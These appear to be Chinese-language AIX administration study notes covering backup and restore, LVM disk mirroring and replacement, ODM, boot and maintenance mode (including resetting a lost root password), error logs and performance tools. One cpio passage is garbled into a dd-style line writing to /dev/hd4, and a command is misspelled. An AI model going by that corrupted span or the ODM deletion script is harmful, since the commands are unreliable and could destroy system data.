-r 仅仅重新创建卷组结构。这允许从备份创建(为指定的备份 FileName 或 Device)卷组、逻辑卷和文件系统而不恢复任何文件或数据。这对于使用第三方软件恢复数据和仅在适当的位置需要所有的 AIX 逻辑卷结构的用户有用。
注:
或者使用 -f Device 标志或者使用 -d FileName 标志。这是因为 restvg 需要备份映像或 vgname.data 文件来获得重新创建期望的卷组的逻辑卷结构所需要的所有信息。
-s 指定以尽可能小(可以容纳文件系统)的磁盘空间创建逻辑卷。该大小由 vgname.data 文件 (其中 vgname 是卷组名)的 lv_data 节的 LV_MIN_LPS 字段值指定。
-s 标志重设 vgname.data 文件的 logical_volume_policy 节的 SHRINK 和 EXACT_FIT 字段的值。 -s 标志与 SHRINK=yes 和 EXACT_FIT=no 将引起的效果相同。

如:
从 /dev/rmt1 设备恢复卷组映像到 hdisk2 和 hdisk3 磁盘,请输入:
restvg -f/dev/rmt1 hdisk2 hdisk3
11.文件的备份
backup [-u] [-level] [-f device] filesystem
backup 命令在备份介质上(比如磁带或软盘)上创建文件的副本。副本的格式是以下两种备份格式之一:

使用 -i 标志按名称来备份的特定文件。
使用 Level 和 FileSystem 参数按内节点来备份的整个文件系统。
如果不带任何参数发出 backup 命令,它缺省为级别 9 的内节点备份,将根文件系统备份到 /dev/rfd0 设备。缺省语法是:


-9uf/dev/rfd0 /dev/rhd4 缺省备份设备是 /dev/rfd0。如果指定的标志不适合指定的备份设备,则 backup 命令显示一条错误消息并继续进行备份。

单个备份可涉及多个卷。


注:
运行 backup 命令将使先前存储于所选输出介质上的所有资料都丢失。
如果在系统备份过程中修改某一文件,则该归档文件的数据完整性将受到损害。在系统备份过程中,请将系统活动保持为最少。
如果备份到设备块大小设置为 0 的磁带机,则除非缺省写大小和 backup 命令一起使用,否则很难再从磁带恢复数据。当磁带机的块大小为 0 时,backup 命令的缺省写大小可由 restore 命令读取。
换句话说,当磁带机的块大小为 0 的时候,不应指定 -b 标志。如果指定 backup 命令的 -b 标志,且它和缺省大小不同,则当从磁带恢复归档的文件时,必须用 restore 命令的 -b 标志来指定相同的大小。

按名称备份文件
要按名称备份,请使用 -i 标志。backup 命令从标准输入读取要备份的文件的名称。

文件类型可以是特殊文件,常规文件或目录。当文件类型是目录时,仅备份目录。目录下的文件不备份,除非明确指定备份它们。


注:
使用与归档的文件相同的路径名称来恢复文件。所以,要创建可从任何路径恢复的备份,请使用您要备份的文件的全路径名。
当备份需要多个卷的文件时,不要从键盘输入文件名称的列表。反而应从一个文件将列表传送或重定向到 backup 命令。
当从键盘输入文件名称且当备份进程需要新的磁带或软盘时,命令将“丢失”任何已经输入但还未备份的文件的名称。要避免这个问题,请仅在先前文件的归档的消息显示之后输入每个文件的名称。归档的消息由字符 a 后跟文件名称构成。

如果指定 -p 标志,则只打包小于 2GB 的文件。
按内节点备份文件系统
要按内节点备份文件系统,请指定 -Level 和 FileSystem 参数。当和 -u 标志结合使用时,-Level 参数提供维护每个文件系统的增量备份的层次结构的方法。请指定 -u 标志并将 -Level 参数设置为 n 来仅备份自从 n-1 级别备份以后修改过的那些文件。
有关每个增量备份日期、时间和级别的信息被写入 /etc/dumpdates 文件。可能的备份级别是 0 到 9。级别 0 备份归档文件系统中的所有文
件。如果 /etc/dumpdates 文件不包含特定文件系统的备份信息,则指定将使该文件系统中的所有文件被归档的任一级别。

FileSystem 参数可指定物理设备名称(块或原始名称)或其上安装文件系统的目录的名称。缺省文件系统是根(/)文件系统。

为了执行按内节点进行的备份,用户必须具有访问文件系统设备(比如 /dev/hd4)的读访问权或具有“备份”权限。


注:
在按内节点备份文件系统之前,首先必须卸装它。如果试图备份已安装的文件系统,则显示警告消息。backup 命令继续,但创建的备份可能包含由备份操作过程中文件系统内可能发生的更改而造成的不一致性。
按内节点备份文件系统将截断具有超过 65535 的 uid 或 gid 的文件的 uid 或 gid。在恢复后,这些文件可能对于 uid 和 gid 属性具有不同的值。要正确保留这些值,请始终按名称备份具有大于 65535 的 uid 或 gid 的文件。
当按内节点备份时,仅可以归档 JFS(日志文件系统)文件系统。请按文件名称或通过使用其它归档命令(比如 pax、tar 或 cpio 命令)来备份任何非 JFS 文件系统。


============
增量备份
-0 全备份
-1,-2...备份级别
level
0 ================
^^ ^^
|| ||
1 ===== ||
^^ ||
|| ||
2 ===== ||
1 ===============
backup -u -1 -f /dev/rmt0 /home

12./etc/dumpdates
相当于rman的catalog

13.tar
cd /home
tar cvf . home1.tar将整个目录都打包,并使用相对路径
tar cvf home2.tar 将整个目录都打包,并使用绝对路径

tar xvf home1.tar --由于使用相对路径,可以解开到不同的目录
tar xvf home2.tar --由于使用绝对路径,只能解开到原来的目录

tar zxvf bind-src.tar.gz
解开文件bind-src.tar.gz
tar tvf /dev/rmt/0 --看磁带有什么文件
tar cvf /dev/rmt/0h /disk1/oradata/???.dbf --备份文件到磁带

14.cpio
cpio -idmv < count="1" bs="4k" skip="31" if="/dev/hd4" of="/dev/hd4" seek="1" svtx ="="">只有文件的所有着才能删除
^^
||
以该文件所有者用户身份来执行
该权限很容易被利用,造成像木马程序


4 2 1
6.SUID SGID SVTX R W X
| | | | | |
| | | | | |
^<<---------- | | | 4 0-7 0-7 0-7 7.chmod chmod 4777 file 8.umask 默认可读写权限 普通文件默认的权限=>666-umask :666-027=640
普通目录默认的权限=>777-umask

9.lsuser
显示用户帐户属性。
lsuser -a id home all

10.丢失root密码的解决办法
==>>使用启动盘
==>>F5
=>>选择3 Start Maintenance Mode for System Recovery
==>>激活了rootvg和shell
==>>修改root密码,passwd,sync
==>>重起系统



+=================+
|十四、调度 |
+=================+
CRONTAB
AT
BATCH

/var/adm/cron/queuedefs
/var/spool/cron/crontabs/$USER
/var/adm/cron/cron.deny --限制某些用户使用crontab
1.2>&1
sh ???.sh > test.log 2>&1---------
| |
| ^
^将错误输出到&1(就是前面的标准输入test.log)中


2.at命令 --系统只运行一次
3.batch --在系统CPU负载小的时候运行


+=================+
|十五、网络 |
+=================+
1./etc/hosts
2.dns
/etc/resolv.conf
3.mktcpip
只设置第一个网卡
4.远程信任验证
/etc/host.equiv(600) -对于所有用户
/$HOME/.rhosts(600) -两台机器必须要有相同的用户名


AIX高级教程
======================
+=================+
|一、ODM |
+=================+
Object Data Manager
|__________DEVICES
|__________TCP/IP CONFIGURATION
|__________ERROR LOG
|__________SMIT MENUS
|__________NIM 网络安装管理
|__________SOFTWARE
|
1.是二进制文件,不能用编辑器使用
相应的命令:
odmadd 添加对象到创建的对象类。
odmchange 更改指定对象类中的选定对象的内容。
odmcreate 产生 .c (源)和 .h(包含)文件,对于 ODM 应用程序开发和创建空的对象类是必要的。
odmdelete 从指定的对象类中删除选定的对象。
odmdrop 除去对象类。
odmget 从指定的对象类中检索对象到 odmadd 输入文件。
odmshow 在屏幕上显示对象类定义。


2.descriptor_file.cre
用odmcreate创建ODM的类的定义

3.ODM 存放的位置
/etc/objrepos
total 1008
-rw-rw-r-- 1 root system 4096 Mar 03 2003 SRCextmeth
-r--r--r-- 1 root system 0 Aug 02 2004 diag_log_lock
-r--r--r-- 1 root system 0 Aug 02 2004 diag_lock
lrwxrwxrwx 1 root system 22 Aug 02 2004 PdAt -> /usr/lib/objrepos/PdAt
lrwxrwxrwx 1 root system 30 Aug 02 2004 PDiagTask.vc -> /usr/lib/objrepos/PDiagTask.vc
lrwxrwxrwx 1 root system 27 Aug 02 2004 PDiagTask -> /usr/lib/objrepos/PDiagTask
lrwxrwxrwx 1 root system 29 Aug 02 2004 PDiagRes.vc -> /usr/lib/objrepos/PDiagRes.vc
...
-rw-rw-r-- 1 root system 12288 Jun 14 10:00 errnotify
-rw-rw-r-- 1 root system 12288 Jun 14 10:00 SWservAt.vc
-rw-rw-r-- 1 root system 8192 Jun 14 10:00 SWservAt
-rw-r--r-- 1 root system 20480 Jun 14 10:30 CuDv
-rw-r--r-- 1 root system 8192 Jun 14 10:30 CuAt.vc
-rw-r--r-- 1 root system 28672 Jun 14 10:30 CuAt


预定义设备信息 --->PdDv,PdAt,PdCn
自定义设备信息 --->CuDv,CuAt,CuDep,Cu...
软件 --->history,inventory,lpp,product
smit menus --->sm_???
error log --->SWservAt
System Resource Controller
Network install Manager

如:
odmshow PdDv

/etc/objrepos /usr/lib/objrepos /usr/share/lib/objrepos
|| || ||
^^ ^^ ^^
自定义设备信息等 预定义设备信息等 共享的软件产品
+lpp ,history,inventory,product
不包括pwd,filesystem,printsubsystem不属于odm管理

PdDv =====> CuDv =====> /dev/???
PdAt == 预定义属性
bash-2.05b$ odmshow PdDv
class PdDv {
char type[16]; /* offset: 0xc ( 12) */
char class[16]; /* offset: 0x1c ( 28) */
char subclass[16]; /* offset: 0x2c ( 44) */
char prefix[16]; /* offset: 0x3c ( 60) */
char devid[16]; /* offset: 0x4c ( 76) */
short base; /* offset: 0x5c ( 92) */
short has_vpd; /* offset: 0x5e ( 94) */
short detectable; /* offset: 0x60 ( 96) */
short chgstatus; /* offset: 0x62 ( 98) */
short bus_ext; /* offset: 0x64 ( 100) */
short fru; /* offset: 0x66 ( 102) */
short led; /* offset: 0x68 ( 104) */
short setno; /* offset: 0x6a ( 106) */
short msgno; /* offset: 0x6c ( 108) */
char catalog[16]; /* offset: 0x6e ( 110) */
char DvDr[16]; /* offset: 0x7e ( 126) */
nchar Define[256]; /* offset: 0x8e ( 142) */
nchar Configure[256]; /* offset: 0x18e ( 398) */
nchar Change[256]; /* offset: 0x28e ( 654) */
nchar Unconfigure[256]; /* offset: 0x38e ( 910) */
nchar Undefine[256]; /* offset: 0x48e ( 1166) */
nchar Start[256]; /* offset: 0x58e ( 1422) */
nchar Stop[256]; /* offset: 0x68e ( 1678) */
short inventory_only; /* offset: 0x78e ( 1934) */
char uniquetype[48]; /* offset: 0x790 ( 1936) */
};
/*
descriptors: 25
structure size: 0x7c0 (1984) bytes
data offset: 0x20002400
population: 133 objects (133 active, 0 deleted)
*/

+=================+
|二、初始化过程 |
+=================+
1.LED
指示灯数字代表的含义
553启动失败
http://publib16.boulder.ibm.com/doc_link/zh_CN/a_doc_lib/graphigs/phigsmsg/phigsmsg.pdf
2.firmware ==相当于设置bios
3.hd5 ==> boot lv(blv) ==> AIX KERNEL
RC.BOOT
REDUCED ODM --启动阶段在根目录生成前需要加载的设备信息
BOOT COMMANDS

4.bosboot -ad /dev/????设置启动设备
创建引导映像。
5.bootlist -m normal -o 显示当前引导列表
显示并改变可用于系统的引导设备列表。
6.进入启动列表方式
f1 ==> select boot

7.启动维护模式
F5 ==>F1 ==> 进入Welcome to Base Operating System
installation and Maintenance
1.start install now with default settings
2.change/show installation settings and install
3.start maintenance mode for system recovery

choice [1]:3
|
^
maintenance
1.access a root volume group
2.copy a system dump to removable media
3.access advanced maintenance functions
4.install from a system backup
choice [1]:1
1) volume group ????
2) volume group ????
choice :1
...
1) access this volume group and start a shell
2) ..........................................before mounting file system
99) previous menu

access this volume group and start a shell>>先会激活rootvg,然后使用shell,可以在这个阶段修改丢失root密码的密码.
...............before mounting file system>>先会激活rootvg,但属于该卷组的逻辑卷不会mount成文件系统

8.软件初始化过程
post -----+
|220v转换为+5v
^
load kernel and pass control
|
^
create ram file system (blv-hd5)
|
^ /----aix kernel
start init-process from blv/ 精简的odm库,放在内存中
| \
| \----rc.boot
^rc.boot 1 configure base devices
rc.boot 2 activate rootvg
rc.boot 3 configure remaining devices 其它跟rootvg不相关的设备进行配置


ramfs(blv)是以/../开头的
如:ls /../dev/hd5
/../???表示是从内存里拷的

9.mergedev
ram中的odm与系统的odm 进行merge

10./etc/inittab
使用mkitab,chitab,rmitab来编辑inittab

11.chvg -u rootvg
解rootvg锁(只会是lvm的管理才可能造成,且该命令必须在维护模式下运行才有效


+=================+
|三、磁盘管理 |
+=================+
7133提供RAID功能
1.mirror
一个lp可以指向最多3个pp(lp是指针)
可以对卷组或者单独对lv做mirror
number of copies of each logical [2]
2.条带
逻辑卷的多个lp分散在多个不同的磁盘上,这个磁盘数就是条带的宽度
1个lp对应1个pp
条带大小:4K~128K
条带要分散在不同的磁盘控制器上,1个磁盘控制器管理2个硬盘
不同磁盘要有相同的大小和速度
适合大量的顺序读
3.vgid 卷组描述区
32bytes

4.lqueryvg -p hdisk1 -AT
查看vgid信息
IMPORTVG
VGID =============>ODM
||
||
||
^^
EXPORTVG ==REMOVE VOLUMN GROUP FROM THE ODM

5.如果在非rootvg的odm出现问题,相当于数据库的非SYSTEM表空间出问题
那么该vg的odm从rootvg中的odm中remove(exportvg),然后再importvg导入odm中
1).varyoffvg datavg
2).exportvg datavf
3).importvg -y datavg hdisk2

6.lsvg -o 可以查到非激活的vg

7.如果在rootvg的odm出现问题,相当于数据库的SYSTEM表空间出问题
解决办法
例如:
#!/sbin/sh
PV=hdisk0
VG=rootvg


cp /etc/objrepos/CuAt /etc/objrepos/CuAt.$$
cp /etc/objrepos/CuDep /etc/objrepos/CuDep.$$
cp /etc/objrepos/CuDv /etc/objrepos/CuDv.$$
cp /etc/objrepos/CuDvDr /etc/objrepos/CuDvDr.$$
lqueryvg -Lp $PV |awk '{print $2}'|while read LVname;
do
odmdelete -q "name=$LVname" -o CuAt
odmdelete -q "name=$LVname" -o CuDv
odmdelete -q "value3=$LVname" -o CuDvDr
done
odmdelete -q "name=$VG" -o CuAt
odmdelete -q "parent=$VG" -o CuDv
odmdelete -q "name=$VG" -o CuDv
odmdelete -q "name=$VG" -o CuDep
odmdelete -q "dependency=$VG" -o CuDep
odmdelete -q "value1=10" -o CuDep
odmdelete -q "value3=$VG" -o CuDvDr
importvg -y $VG $PV
varyonvg $VG

8.制作一个卷组的mirror
mklvcopy
1).制作rootvg mirror
运行mklvcopy ==mklvcopy hd1 2 hdisk1或者mirrorvg -s rootvg
....
syncvg -v rootvg ==保持数据一致性
bosboot选择其中一个作为引导盘 == bosboot -ad /dev/???
bootlist -m normal hdisk0 hdisk1

9.替换一个在运行的磁盘的处理
要移走在一个卷组中的一个镜像盘
1).rmlvcopy
移除该卷组中所有lv的镜像
rmlvcopy lv??? 1 hdisk??
...
2).将该盘从卷组中移走,相当于在表空间中使数据文件offline drop;
reducevg vg_name hdisk?
3).从系统的odm库中去除该硬盘的信息,相当于数据文件要从控制文件中消失;
rmdev -l hdisk? -d
4).插入新的磁盘(热插拔)
5).增加一个新的磁盘到该卷组
extendvg vg_name hdisk??new
6).mklvcopy lv??? 2 hdisk??new
7).syncvg -v vg_name

10.如果磁盘没有镜像,但需要替换其中一块硬盘的处理
1).插入新的磁盘
2).extendvg vg_name hdisk??new(相当于在表空间中加入新的文件)
3).migratepv hdisk??old hdisk??new(相当于将该表空间的老的数据文件的数据转到新的数据文件中)
4).reducevg vg_name hdisk??old(将原来的磁盘从odm中去除)
5).rmdel -l hdisk??old -d(相当于rm 数据文件

11.如果磁盘没有镜像,而且其中一块硬盘无法使用,想恢复该硬盘
1).lspv -l hdisk??fail 查出在损坏盘上所有的lv
2).umount /dev/lv?? umount所有盘上的文件系统
...
3).rmlv lv?? 删除该lv
...
4).reducevg vg_name hdisk??fail 删除该磁盘在odm上的信息
5).rmdel -l hdisk??fail 删除该磁盘
6).extendvg vg_name hdisk??new 增加一个新的磁盘到卷组
7).mklv -y lv???
...
8).restore -rvqf /dev/??? 从备份中恢复损坏盘的数据


12.如果磁盘造成rootvg损坏
1).替换损坏的磁盘
2).启动服务器到维护模式
3).从mksysb中恢复
4).importvg

13.如果磁盘造成非rootvg损坏
1).exportvg vg_name
2).检查/etc/filesystems
3).rmdev -l hdisk??fail -d
4).增加新的硬盘
5).restvg -f /??? hdisk???new 恢复原来磁盘上的数据
6).mkvg,mklv
7.restore -rqvf /dev/???

14.mksysb控制文件
bosinst.data,
mkszfile ==>生成/image.data
可以在备份后,修改该参数,使得在恢复时按新的参数恢复到设备上.

15.alt_disk_install
安装具有 mksysb 安装映像的备用磁盘或将当前运行的系统克隆到备用磁盘。
要在 hdisk3 上安装 4.3 mksysb 映像,然后在重新引导前,运行定制的脚本(/home/myscript)来将一些用户文件复制到备用
rootvg 文件系统:
alt_disk_install -d /mksysb_images/4.3_mksysb -s /home/myscript hdisk3

16.只要有足够的空闲的裸盘,可以restvg 直接恢复
17.mkvgdata
创建包含有关 savevg 和 restvg 命令所使用的卷组信息的文件。

mkvgdata 命令创建包含有关 savevg 命令和 restvg 命令所使用的卷组信息的文件。这些信息包含逻辑卷的列表、文件系统及其大小、
和卷组名。根据卷组的类型,创建了以下文件之一:
/image.data 为有关 root 用户卷组(rootvg)信息而创建。savevg 命令使用此文件来创建备份映像,该映像可以由 bosinstall
例程用来把卷组重新安装到当前系统或新的系统。如果此文件已经存在,mkvgdata 命令将其覆盖。
/image.data 文件位于 / 目录中。
vgname.data 为有关用户卷组的信息而创建。vgname 变量反映了卷组名。savevg 命令使用此文件来创建备份映像,该映像可以由
restvg 命令用来重新安装用户卷组。如果此文件已经存在,mkvgdata 命令将其覆盖。vgname.data 文件位于
/tmp/vgdata/vgname 目录中,其中 vgname 是卷组名。
这些文件的其中任何一个的信息在发出 savevg 命令之前,都可以由用户编辑。


18.splitvg
分割全镜像卷组的单一镜像副本
splitvg 命令将全镜像卷组的单一镜像副本分割成快照卷组。原始卷组 VGname 将停止使用现在是快照卷组 SnapVGname 组成部分的磁盘。两个卷组都将跟踪卷组中的写操作,以便快照卷组与原始卷重新组合并时在合并的镜像副本中数据保持一致性。

注意:我上面用表空间只是做比方,便于理解,其实表空间是不能用此方法解决的,因为他本身是一个整体
+=================+
|四、错误日志 |
+=================+
/usr/lib/errdemon生成 /var/adm/ras/errlog
可以用errpt查看
1.errpt
errpt 命令会从错误日志中的记录生成一个错误报表。它包含了所选符合特定标准的错误的标志。利用缺省的条件,
您可以以错误发生及被记录相反的顺序显示错误日志的记录。利用 - c (并行)标志,您可以在错误发生时显示这些错误。
如果 -i 标志没有同 errpt 命令一起使用的话,则 errpt 处理的错误日志文件就是在错误日志配置数据库中指定的那个。
(要想查看在错误日志数据库中的信息,请使用

-a 以详细的格式显示错误日志文件中的错误信息。如果同 -t 标志结合起来使用的话,则模板文件中所有的信息都会显示出来。
-A 显示由 -a 标志产生的详细报表的缩减版本。-A 标志和 -a-g 或者 -t 标志在一起是非法的。报表中的项有标签、日期时间、类型、资源名称、描述和详细数据。该标志的示例的输出的格式如下:

LABEL: STOK_RCVRY_EXIT
Date/Time: Tue Dec 14 15:25:33
Type: TEMP
Resource Name: tok0
Description
Description
PROBLEM RESOLVED
Detail Data
FILE NAME
line: 273 file: stok_wdt.c
SENSE DATA
0000 0000 0000 0000 0000 0000
DEVICE ADDRESS
0004 AC62 25F1

bash-2.05a$ errpt
IDENTIFIER TIMESTAMP T C RESOURCE_NAME DESCRIPTION
3A30359F 0606174805 T S init SOFTWARE PROGRAM ERROR
3A30359F 0606174505 T S init SOFTWARE PROGRAM ERROR
3A30359F 0606172805 T S init SOFTWARE PROGRAM ERROR
3A30359F 0606172505 T S init SOFTWARE PROGRAM ERROR
3A30359F 0606172205 T S init SOFTWARE PROGRAM ERROR
3A30359F 0606171205 T S init SOFTWARE PROGRAM ERROR
3A30359F 0606170705 T S init SOFTWARE PROGRAM ERROR
3A30359F 0606170305 T S init SOFTWARE PROGRAM ERROR
3A30359F 0606165705 T S init SOFTWARE PROGRAM ERROR
3A30359F 0606165305 T S init SOFTWARE PROGRAM ERROR
3A30359F 0606164405 T S init SOFTWARE PROGRAM ERROR
3A30359F 0606162105 T S init SOFTWARE PROGRAM ERROR
0619C49F 0601093205 U U topsvcs Contact with a neighboring adapter lost



--查看错误细节
bash-2.05a$ errpt -a 0619C49F
---------------------------------------------------------------------------
LABEL: PGSP_KILL
IDENTIFIER: C5C09FFA

Date/Time: Sat May 21 16:57:04 2005
Sequence Number: 16334
Machine Id: 0031D18B4C00
Node Id: IBM670B
Class: S ------------------------------------------------>
Type: PERM -------------------> |--->H:硬件
Resource Name: SYSVMM |--->P:永久,性能和pending |--->S:软件
|--->T:临时 |--->O:操作错误
Description |--->I:信息 |--->U:无法确定
SOFTWARE PROGRAM ABNORMALLY TERMINATED |--->U:未知

Probable Causes
SYSTEM RUNNING OUT OF PAGING SPACE

Failure Causes
INSUFFICIENT PAGING SPACE DEFINED FOR THE SYSTEM
PROGRAM USING EXCESSIVE AMOUNT OF PAGING SPACE

Recommended Actions
DEFINE ADDITIONAL PAGING SPACE
REDUCE PAGING SPACE REQUIREMENTS OF PROGRAM(S)

Detail Data
PROGRAM
ksh
USER'S PROCESS ID:
0
PROGRAM'S PAGING SPACE USE IN 1KB BLOCKS
0
2.errlogger
下日志信息到/var/adm/ras/errlog
errlogger system hard disk '(hdisk0)' replaced.

+=================+
|五、诊断 |
+=================+
1.diag
执行硬件问题确定。
diag 命令是运行广泛选择的任务和服务帮助的起点。大多数任务和服务帮助是特定于平台的。以下任务和服务帮助是可用的:

运行诊断
显示或者更改诊断运行时选项
显示服务提示
显示先前的诊断结果
显示硬件错误报告
显示软件产品数据
显示配置和资源列表
显示硬件的重要产品数据
显示资源属性
更改硬件的重要产品数据
格式化介质
认证介质
显示测试模式
局域网分析器
在资源列表中添加资源
从资源列表删除资源
SCSI 总线分析器
下载微码
显示或更改引导列表
定期诊断
备份与恢复介质
磁盘维护
配置拨号和 LPF 键
添加或删除抽屉配置
创建定制配置软盘
更新基于磁盘的诊断
配置 ISA 适配器
操作系统 Shell 提示(只适用于联机服务方式)
显示或更改多处理器配置
启用和禁用个别处理器
显示或更改 BUMP 配置
用新的二进制映像更新闪存 EPROM
显示或更改诊断方式
显示或更改远程电话号码和调制解调器配置
显示或更改电子方式切换
处理补充介质(只适用于单机模式)
类属微码下载
运行错误日志分析
用于以太网的服务帮助
在 AIX 5.1 和较早版本(RSPC)中更新系统闪存
在 AIX 5.1 和较早版本(RSPC)中配置铃声指示电源启动
在 AIX 5.1 和较早版本(RSPC)中配置服务处理器
在 AIX 5.1 和较早版本(RSPC)中保存或恢复服务处理器配置
在 AIX 5.1 和较早版本(RSPC)中显示机器检查错误日志
7135 RAIDiant 阵列服务帮助
SCSI 设备识别和除去
SCSD 磁带机服务帮助
Escon 位错误率服务帮助
SSA 服务帮助
PCI RAID 物理磁盘标识
配置铃声提示电源启动策略(CHRP)
配置监视策略(CHRP)
配置重新引导策略(CHRP)
配置远程维护策略(CHRP)
保存或恢复硬件管理策略(CHRP)
显示固件设备节点信息(CHRP)
提供扇区可用性
更新系统或服务处理器闪存(CHRP)
显示系统环境传感器(CHRP)
显示检查停止分析结果
分析适配器内部日志
闪烁 SK-NET FDDI 固件
显示微码级别
2.diagrpt -r

+=================+
|六、DUMP |
+=================+
用于诊断系统异常
1.CTRL+ATL+NUMBERPAD
RESET按钮
smit菜单来dump数据
2.dump文件默认地点
如果系统crash,则自动会写到/hd6(原pagespace所在地)
在下次重起的时候写到下面的默认位置
/var/adm/ras/vmcore.0
确保有足够的空间
3.人工DUMP会关闭机器


+=================+
|七、性能优化 |
+=================+
1.ps aux
bash-2.05a$ ps aux
USER PID %CPU %MEM SZ RSS TTY STAT STIME TIME COMMAND
root 40970 22.1 0.0 40 17156 - A Jun 01 16935:33 wait ==>这个进程,我们可以查看他的CPU占用越大,那么负载越小 22.1%*4 =88.4%
root 24582 22.1 0.0 40 17160 - A Jun 01 16933:49 wait
root 16388 22.1 0.0 40 17156 - A Jun 01 16913:36 wait
root 32776 22.1 0.0 40 17156 - A Jun 01 16911:47 wait
bea 1704002 2.7 4.0 346936 341240 - A Jun 13 160:08 /usr/java14
2.ps -elf
查看优先级
见上
3.ps v
查看内存泄漏
也可以用svmon
4.svmon
强大的内存查看工具
svmon -P 20876

-------------------------------------------------------------------------------
Pid Command [1] Inuse [2] Pin [3] Pgsp[4] Virtual 64-bit Mthrd
20876 ora_pmon_V8 29598 1451 182 16560 N N

Vsid Esid Type Description Inuse Pin Pgsp Virtual Addr Range
[5] [6] [7] [8]
1781 3 work shmat/mmap 11824 [9] 0 0 11824 0..24700
1761 1 pers code,large file /dev 9681 [10] 0 - - 0..9680
0 0 work kernel seg 3982 [11] 1450 182 3390 0..21804 :
65474..65535
18018 d work shared library text 2852 [12] 0 0 158 0..65535
4764 2 work process private 1127 [15] 1 0 1127 [13] 0..1182 :
65307..65535
f74f f work shared library data 81 [16] 0 0 61 [14] 0..1291
1e59e - pers large file /dev/lv00 33 0 - - 0..32
e58e - pers large file /dev/lv00 16 0 - - 0..82
b74b - pers large file /dev/lv00 1 0 - - 0..0
3703 - pers large file /dev/lv00 1 0 - - 0..0


Across the top you will see the summary (overall totals for the process):

[1] "Command" indicates the command name,this case it is the ora_pmon_v817 process
[2] "Inuse" column is the total number of pages in real memory from segments that
are used by the process), in this example,a total of 29598 pages for the
ora_pmon_V8 process (each page is normally 4 KB on AIX, to be confirmed by IBM).
[3] "Pin" column is the total number of pages pinned from segments that are
used by the process. Those pages are part of the "Inuse", but are pinned in
memory so that they can't be swapped out.
[4] "Pgspace" column (total number of paging-space pages that are used by the
process) shows 6427 pages.

The detailed section is a breakdown of each segment for the process that is
shown in the summary section:

[5] "Vsid" column is the virtual segment ID
[6] "Esid" column is the effective segment ID.
[7] "Type" is the type of segment (pers = persistent, work = versatile)
[8] "Description" gives more details for the segment id. It normally includes
volume name and the i-node of the file for persistent segments.

svmon -G --全部进程的报告
svmon -Pt 3 --显示top 3内存使用的进程信息

5.sar
bash-2.05a$ sar -u

AIX IBM670A 1 5 0031D80B4C00 06/14/05

00:00:00 %usr %sys %wio %idle
09:20:00 29 6 4 61
09:40:00 36 6 3 54
10:00:00 22 6 4 69
10:20:00 29 6 3 62
10:40:00 34 5 2 58
11:00:00 24 6 3 67
11:20:00 35 7 3 54
11:40:00 25 6 2 67
12:00:00 10 3 1 86
12:20:00 6 2 1 91
12:40:00 2 1 0 97
13:00:01 3 1 0 96
13:20:01 20 3 1 76
13:40:01 20 4 1 74
14:00:00 20 5 3 73
14:20:00 23 6 4 67
14:40:00 18 4 2 76
15:00:00 19 5 2 73
| | |
+-------+ ^
高 + 低 =CPU问题
低 + 高 =IO 问题
>80% cpu有问题

bash-2.05a$ sar -d

AIX IBM670A 1 5 0031D80B4C00 06/15/05

00:00:00 device %busy avque r+w/s blks/s avwait avserv
09:00:00 hdisk0 2 0.0 4 21 0.0 0.0
hdisk1 2 0.0 4 19 0.0 0.0
hdisk8 0 0.0 1 9 0.0 0.0
hdisk9 0 0.0 0 5 0.0 0.0
dac1 0 0.0 222 6566 0.0 0.0
dac0 0 0.0 0 1 0.0 0.0
hdisk2 6 0.0 222 6566 0.0 0.0
hdisk3 0 0.0 0 1 0.0 0.0
hdisk4 0 0.0 0 0 0.0 0.0
cd0 0 0.0 0 0 0.0 0.0


09:20:00 hdisk0 2 0.0 4 22 0.0 0.0
hdisk1 2 0.0 4 23 0.0 0.0
hdisk8 0 0.0 1 23 0.0 0.0
hdisk9 0 0.0 0 23 0.0 0.0
dac1 0 0.0 405 13652 0.0 0.0
dac0 0 0.0 0 1 0.0 0.0
hdisk2 13 0.0 405 13652 0.0 0.0
hdisk3 0 0.0 0 1 0.0 0.0
hdisk4 0 0.0 0 0 0.0 0.0
cd0 0 0.0 0 0 0.0 0.0
| | |
| | |--->每秒传送的字节数(512字节)
| |--->每秒读写的次数
|
---->该参数是IO性能的重要指示,表示
从适配器到设备的未完成请求的平均数
通常小于2

bash-2.05a$ sar -b (buffer)

AIX IBM670A 1 5 0031D80B4C00 06/15/05

00:00:00 bread/s lread/s %rcache bwrit/s lwrit/s %wcache pread/s pwrit/s
01:00:00 0 0 0 0 0 0 1 1
02:00:00 0 0 0 0 0 0 3 1
03:00:00 0 0 0 0 0 0 27 1
04:00:00 0 0 0 0 0 0 1 1
05:00:00 0 0 0 0 0 0 1 1
06:00:00 0 0 0 0 0 0 1 1
07:00:00 0 0 0 0 0 0 6 1
08:00:00 0 0 0 0 0 0 27 1
08:20:00 0 0 0 0 0 0 361 11
08:40:00 0 0 0 0 0 0 271 8
09:00:00 0 0 0 0 0 0 422 5
09:20:00 0 0 0 0 0 0 689 7
09:40:00 0 0 0 0 0 0 554 4
10:00:00 0 0 0 0 0 0 832 5
10:20:00 0 0 0 0 0 0 461 5

Average 0 0 0 0 0 0 122 2
| |
| |--->裸设备写次数
|--->裸设备读次数

6.vmstat
# vmstat 2
kthr memory page faults cpu
----- ----------- ------------------------ ------------ -----------
r b avm fre re pi po fr sr cy in sy cs us sy id wa
1 0 22478 1677 0 0 0 0 0 0 1881380 157 57 32 0 10
1 0 22506 1609 0 0 0 0 0 0 2141476 186 48 37 0 16
0 0 22498 1582 0 0 0 0 0 0 2481470 226 55 36 0 9
2 0 22534 1465 0 0 0 0 0 0 238 903 239 77 23 0 0 |==这里因为不使用IO,可以占有前面因为IO等待而未用过的所有CPU周期
2 0 22534 1445 0 0 0 0 0 0 2091142 205 72 28 0 0 |
2 0 22534 1426 0 0 0 0 0 0 1891220 212 74 26 0 0 |此段可以看出IO是0,而CPU是100%,是由于一个没有IO的死循环
3 0 22534 1410 0 0 0 0 0 0 2551704 268 70 30 0 0 |
2 1 22557 1365 0 0 0 0 0 0 383 977 216 72 28 0 0 |==
2 0 22541 1356 0 0 0 0 0 0 2371418 209 63 33 0 4
1 0 22524 1350 0 0 0 0 0 0 2411348 179 52 32 0 16
1 0 22546 1293 0 0 0 0 0 0 2171473 180 51 35 0 14
------------
| |
^ ^
该区域是每秒钟调入调出的页面数量,如果这些值经常出现非零值,说明内存有瓶径
,偶尔出现非零不用在意

avm ==>活动虚拟内存的页面数
fre ==>空闲内存页面的平均数量
fr ==>每秒释放的页面数
sr ==>每秒检查的页面数

查看磁盘IO细节
bash-2.05a$ vmstat hdisk2 5 5
kthr memory page faults cpu disk xfer
----- ----------- ------------------------ ------------ ----------- -----------
